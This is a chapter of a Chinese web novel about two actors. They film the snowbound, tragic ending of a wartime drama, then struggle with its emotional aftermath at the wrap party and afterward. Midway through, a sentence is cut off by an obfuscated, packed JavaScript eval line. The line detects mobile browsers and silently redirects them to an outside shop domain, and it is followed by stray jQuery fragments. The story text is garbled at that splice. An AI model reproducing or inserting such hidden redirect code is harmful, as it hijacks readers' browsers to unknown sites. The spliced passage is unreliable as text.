后来的拍摄过程一直顺利，顺利到有个别场次甚至大大超过了预期，彼时张导盯摄影机盯出了神，香烟在指缝烫了个老大的泡，手指都合不拢，逢人问起就解释：“就因为看了出戏，看得出不来。”
同样受影响的还有江临，那出戏是两人各自的独角戏，独自饰演一段漫长而无望的等待。
江临候场在一旁，心如落石，一点点沉到最深处。
约定的期限到了，叶莺着一条蓝白裙装，上衣袖口绣着白玉兰，底下裙摆翩跹，如云乌发绾作髻，一排珍珠扣藏在云中。
她去了用以掩人耳目的帽子店，在八点的街头，给过往的行人送帽子，给少女、给妇人、给老先生……她的笑容就像她绣在袖口那朵白玉兰，这个世界混乱，腐败，她却始终温柔，一尘不染。
有人与她说话，更有同条街的商铺老板同她惋惜告别，她归心似箭，一遍遍说道：“我如今能归家去，是天大的好事。”
老妇人在她掉头时嘱咐：“要下雪的天，你这样穿太单薄，回去记得多添件衣。”
叶莺挥手应声，她走着走着又跑了起来，她身影如鸟儿般轻盈雀跃，等她跑回家，邻居家正做午饭，有起锅烧油的气味，行李早就收好了放在门后，手一勾就能离开。
可她离开前还是回头看了眼屋子，小楼东风、西边悬月、街口西点店甜蜜的面包香……她有些不舍，但好在欢欣更多。
起初，车站里的日光正盛，落在身上明晃晃的，后来变成黄昏的颜色，再后来又开始飘小雪，路灯的光在地上划了一线，到最后，站务人员催促她离开，整个车站便悄无声息地沉浸进了黑暗里……
她站不住了，抱着膝盖坐在车站门口，心里惘然。
夜半的街道，时有人过，有巡逻的兵高声呼喝，也有喝醉的人左摇右晃，叶莺害怕，却不肯回家，提着箱子钻进了旁边洋行与商铺间的狭小缝隙，那里很黑，黑到只能看到映着路灯微光的泪珠滚下来。
她肚里饥饿，身体又乏又冷，悬着的心从清晨等到深夜。
另一边，梁秋序静坐在书房，他面前那盏灯似乎永远不会熄灭，他伏案写了几封书信，那张隐在灯影里的侧脸，透出一种消沉的风流。
今夜落了雪，看不见月亮。
他眉心藏着的心事化成桌案前的一声叹息，等书信封存好，他仍没动，只是抬眸往门外望去。
门外，雪虐风饕。
门内，半明半昧的光影里，他眼里如古井般死寂。
半刻，有人侧身进来，借着躬身添茶的功夫轻声道：“叶小姐那边，已经走不动了。”
梁秋序了然在胸，他点烟，闭眼，眼睫微颤。
“我所做所求，她都懂，也同我一样。”
另一边，叶莺硬生生又等了一整个白天。她意识离散，努力去辨认车站的每一个行人。又至天黑，已快到她身体极限。
游魂般归家，叶莺连最后一点力气都耗尽了，人站不住，解了领口的扣子，踉踉跄跄往床上一躺就睡了过去。
似是做了个惶惶然的梦。
人惊醒，一身凉汗，捂着胸口爬起来，只觉得心尖更痛。
小楼里没有开灯，窗户被夜风吹得轻轻作响，外头的雪色都像是被硝烟压得死白。叶莺一个人坐在床中央，也不知过了多久，她理了理衣襟，掖好了鬓边的发，打开灯，添上衣，弄了口吃的果腹，她告诫自己要像往常一样活着，只有活着才能等下去。
她小声自说自话：“也没说一定就是哪天，或许是明天也说不定。”
“是我自己着急莽撞记错了日子。”
“世道这么乱，耽搁几天正常的。”
接下来的日子，梁秋序出入得比以往更多，他又瘦了些，风衣披在他身上显得空洞，他来去疲累，总取下眼镜揉眉心，眼角苍沉而隐秘，脸略凹陷更加凸显出侧影中高挺的鼻梁和锋利的下颌角。
雪下个不停，两颗心都已经沉入谷底。
叶莺每天都去车站，从开门到关站，天光到沉夜，车站好多人都见过她，直言那是个疯子。
日复一日，
两天，三天，四天……
就这样浑浑噩噩的，她又等了十天。
她在漫长的等待中反复咀嚼绝望，然后重新燃起支撑自己的希望。
第十天的深夜，不知几点，叶莺躺在黑暗房间望着头顶出神。
忽然，她似乎听见有人划了根火柴的声音。
那声音极细微，若不是叶莺一直如游魂般困在空洞中也捕捉不到。
她没开灯，只是推开了二楼的窗子，然后她看见对面院子里那点猩红火光。
对面小院子里住着的是位曾经在女子学堂授课的先生，后因腿脚不便辞业，叶莺藏着秘密与旁人都不过多来往，唯独每回买了报纸都会分先生一份。
先生不抽烟，她恰巧知道。
叶莺心跳如雷，抓着窗栏的手指传来刺痛感，而似是为响应她疑惑，那黑漆漆、空荡荡的院落中，又划了根火柴。
左右不过三四秒钟，叶莺很长很长地吐了口气。
他没死，他来了。
他来了却站在别处只会有一个原因，她知道梁秋序进不来了。
一年前梁秋序将她送走安置在这栋小楼里是因为不想做她的催命符，而如今还是逃不过，按理说她更不应该成为他的绊脚石，他那样大的抱负，是生来就将所有付家国的一个人。
满院的落雪，他站在其中，仍如记忆中兰芝玉树的皎好模样。
万幸，也算是遥遥见了一面。
夜半，有夜莺低声泣，凄婉哀切，眼泪打湿了前襟和两条袖子。
破晓时分，小楼枪响，梁秋序扶着那棵桂树蹲下了身，呼吸停滞、心跳扩散，仿佛自己也死在了那扇不开灯的窗子里。
……
“Cut!”
阳明姝出小楼，见江临还埋首蹲在桂树旁，阿木扶他两回也都摆手不动。
“怎么了？”
江临没有抬头，良久才闷闷地答：“我心里难受。”
“我也是。”
阳明姝挨着他蹲下，她一头青丝铺了满背，眼里还含着湿意，“没事了，你看，我还好好活着呢。”
江临没话可说，只是伸手摸了摸她的头发。
叶莺自杀，梁秋序没多久也以身报国。
《风雪夜归人》全片顺利杀青。
杀青宴上，觥筹交错，几位领导喝完，又举杯，“来，大家敬梁秋序，敬叶莺！”
阳明姝一口白酒下肚，呛得眼泪直流。
“不会喝酒？”江临给她递纸巾。
“会喝，”她怕花妆，接过纸巾掖眼角，“只是舍不得你。”
江临等了足足半分钟，都没等到那个“们”字。
整个拍摄过程消耗过大，人人都疲累，于是宴席不长，吃饱喝足就到了尾声。
“我入行不久，但截止今天都算很顺畅，努力去做的都得到了想要的回馈。”
阳明姝的话说得认真又好听，“江临，能和你一起拍这部戏，我真的很开心。”
有人在拍照，闪光灯晃了他一下，江临闭了闭眼，再睁开只觉得更加恍然。
“这像是告
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492552|202303||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
别词。”
“嗯，但没关系，还有时间。”
“怎么说？”
江临看着她。
摄影师扛着相机穿梭，没两天组里人人都分到了几张，彼时江临拿在手里翻看，翻到其中晃了他眼的那张照片时顿了许久。
那时阳明姝在笑，光影朦胧，纸片削掉了温度淡化了细节，她像红尘欲海中的清醒客，见人间百态，故生而不凡。
可是他明明清晰地记得她那句“因为我还能再来找你。”
江临将相片捆了捆，尔后扔进收纳箱合上了盖。戏演完了，除了祝好他也没其他东西可以送别人了。
“不许熬夜了啊，得赶紧睡，明天一大早的飞机……”
方汀检查过行李，又指挥阿木新取来一套衣服装箱，那边江临一直没动静，方汀回头看他，后者正吊着腿坐在飘窗上，背后是大片大片的黑夜，而他没有一丁点儿表情，像个精致又枯燥的人偶。
“发什么呆呢？”
“嗯？”
江临刚回神，紧接着歪了歪头，“噢，好。”
“……”
“是不是刚杀青完心里难受？”方汀抬脚走了两步又折回来。
江临除了长得好看就再没任何一点适合荧幕了，这件事方汀十分了解。
他这人沉寂内敛、柔情都深藏在骨子里，偏偏在镜头里最最容易入戏，像是一个常年抑制的阀口，因为一声“action”被人偷摸摁开，情感便如洪流张扬肆掠，尔后又因一声“cut”而蒸发无踪，仿佛从未有过发生，这似乎是一件物极必反的事件。
方汀从不担心江临作为艺人会在为人处事上有什么差池，独独忧愁他时常在戏杀青后，总要偷偷难过几天，虽不动声色，但一眼瞧过去就瞧出来他内里的空落落。
人们都说越专业的人容易入戏也简单出戏，江临不是那样理智又聪明的人，便只能做到一半。
方汀挨着他坐下，声音语重心长，“没关系的阿临，跟以前一样，很快就过去了……”
江临抬眸的一瞬间猛地想起阳明姝，来得太过骤然，导致刚想说什么来着也全忘了。
他电视剧拍了不少，长长短短，剧中搭档换了又换，其实说来说去和女主演都是个感情纠葛，不是哭就是笑，再不过加些个歇斯底里、痛不欲生……只要不跳戏差不多都能过，毕竟偶像出演的电视剧，要求精细的不会看，但凡看的都是双方真粉。
情情爱爱拍得多了，谈起来总觉得麻木。
但这次好像真有些入了戏，她那么认真，将叶莺隐忍不言的爱意，一丝不落地送到了他跟前。
江临开口，声音沉闷，带些喑哑，“那一回，轻云红口白牙跟我说喜欢我，我都没这样难受。”
轻云，前年那部仙侠里孟滢的角色名。
“啊？是吗？”
“后来我发现轻云是逗我玩……”江临望着窗外，腿一下一下地晃，“但叶莺不一样，她好像真的费了好大的力气才走到我面前。”
“但是也说不准，毕竟我蠢，总分不清这些真的假的……”
江临还是那股精致又枯燥的味儿，但就是让旁人看了有些心疼，方汀咽了口唾沫，“阿临，听话，没事儿的……你啊，就是平日太忙没几个朋友，拍戏嘛一拍好几个月，入戏是好事儿，入戏代表你认真努力，咱不是专业的，出戏慢点很正常，别说什么蠢不蠢的……”
“我知道。”
飘窗上的人偶打断他，“困了，去睡吧。”
江临转过脸，他的笑淡淡的，薄薄的，如窗外夜色般抓不住，“不用担心我。”